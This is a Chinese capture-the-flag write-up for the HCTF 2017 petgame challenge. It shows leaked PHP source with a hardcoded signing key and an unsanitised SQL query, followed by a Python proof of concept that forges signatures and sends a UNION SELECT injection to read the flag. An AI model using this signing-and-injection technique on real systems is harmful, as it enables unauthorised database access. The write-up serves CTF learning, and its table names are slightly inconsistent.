点击此处获得更好的阅读体验
WriteUp 来源
https://xz.aliyun.com/t/1589
题目考点
解题思路
这题就比较难受了,看了大家传上来的wp,没有一份是预期解。由于游戏程序比较多,我也没全部看过,就找了一处隐蔽的有回显注入点,但是有一些前置条件。
题目提示是pspt,访问发现跳转到pspt/并且状态403,说明存在pspt目录。
pspt目录下存在robots.txt。
1 2
| Disallow: /pspt/inf/queryUserRole.php Sitemap: http://domain.com/sitemap.xml
|
直接访问/pspt/inf/queryUserRole.php
提示error1。该目录下存在.bak文件,泄漏了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php'); if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) { die('error1'); }
$time = time(); if ($_GET['valid_date'] <= $time) { die('error2'); }
$encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'; $flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey); if ($flag != $_GET['sign']) { die('error3'); }
$arr = $_pm['mysql'] -> getOneRecord("SELECT id,nickname FROM player WHERE name = '{$_GET['user_account']}'");
if (!is_array($arr)) { die('error4'); }
$str = $arr['id'].'&'.$arr['nickname']; $newstr = iconv('utf8','utf-8',$str); echo $newstr; unset($time,$arr,$str); ?>
|
此处泄漏了encryKey,只要有这个encryKey,我们可以根据源码写出注入payload。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import time import hashlib import urllib2
def getMd5(data): data = str(data) t = hashlib.md5() t.update(data) return t.hexdigest()
def hack(payload="admin"): user_account = urllib2.quote(payload) valid_date = int(time.time())+10000 sign = getSign(user_account, valid_date) url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign req = requests.get(url = url) print req.content
def getSign(user_account, valid_date): user_account = urllib2.unquote(user_account) encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM' sign = getMd5(str(user_account) + str(valid_date) + encryKey) return sign
hack("adminss' union all select 111,flag from hctf.flag2#")
|
flag就在hctf库里的hctf2表里。 而大家找到的其他注入点
Flag